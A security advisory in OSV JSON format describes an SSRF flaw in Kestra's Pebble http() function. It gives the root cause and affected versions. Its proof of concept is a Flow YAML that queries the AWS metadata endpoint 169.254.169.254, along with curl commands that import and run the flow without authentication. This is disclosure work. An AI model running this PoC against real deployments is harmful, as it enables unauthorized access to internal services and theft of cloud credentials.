Vulnerabilities in pkg:maven/io.kestra/core

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r56g-q4p6-m3p6",
  "modified" : "2026-09-17T17:15:50Z",
  "published" : "2026-09-17T17:15:50Z",
  "aliases" : [ "CVE-2026-73247" ],
  "summary" : "Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata",
  "details" : "### Summary\nThe Pebble template engine's `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.\n\n### Details\nThe root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106):\n\n1. **No URL validation**: User input is passed directly to `URI.create()` with no checks for private IPs, internal hosts, or restricted schemes\n2. **No IP filtering**: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1\n3. **No scheme restriction**: `file://`, `gopher://` schemes are not blocked\n4. **No authentication required**: `TenantValidationFilter.java` only checks tenant == \"main\" — no authentication\n5. **Unconditional registration**: `HttpFunction` is registered without any feature flags in `Extension.java:180`\n\n### PoC\n**Prerequisites:**\n```bash\ndocker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local\nsleep 30\n```\n\n**Step 1: Create malicious Flow YAML**\n```yaml\ncat > /tmp/ssrf_poc.yaml << 'YAML'\nid: ssrf_metadata\nnamespace: company.team\ntasks:\n  - id: exfiltrate\n    type: io.kestra.plugin.core.log.Log\n    message: |\n      {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}\nYAML\n```\n\n**Step 2: Import without authentication**\n```bash\ncurl -X POST http://localhost:8080/api/v1/main/flows/import \\\n  -F \"fileUpload=@/tmp/ssrf_poc.yaml\"\n```\n\n**Step 3: Execute the flow**\n```bash\ncurl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata\n```\n\n**Step 4: Verify** — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)\n\n### Impact\n- **CVSS 3.1**: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n- **CWE**: CWE-918 (Server-Side Request Forgery)\n- **Affected**: All Kestra OSS versions (default deployment)\n- **Impact**: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.kestra:core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.3.31"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.kestra:kestra-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kestra-io/kestra/security/advisories/GHSA-r56g-q4p6-m3p6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-73247"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kestra-io/kestra"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T17:15:50Z",
    "nvd_published_at" : "2026-08-11T22:19:05Z"
  }
}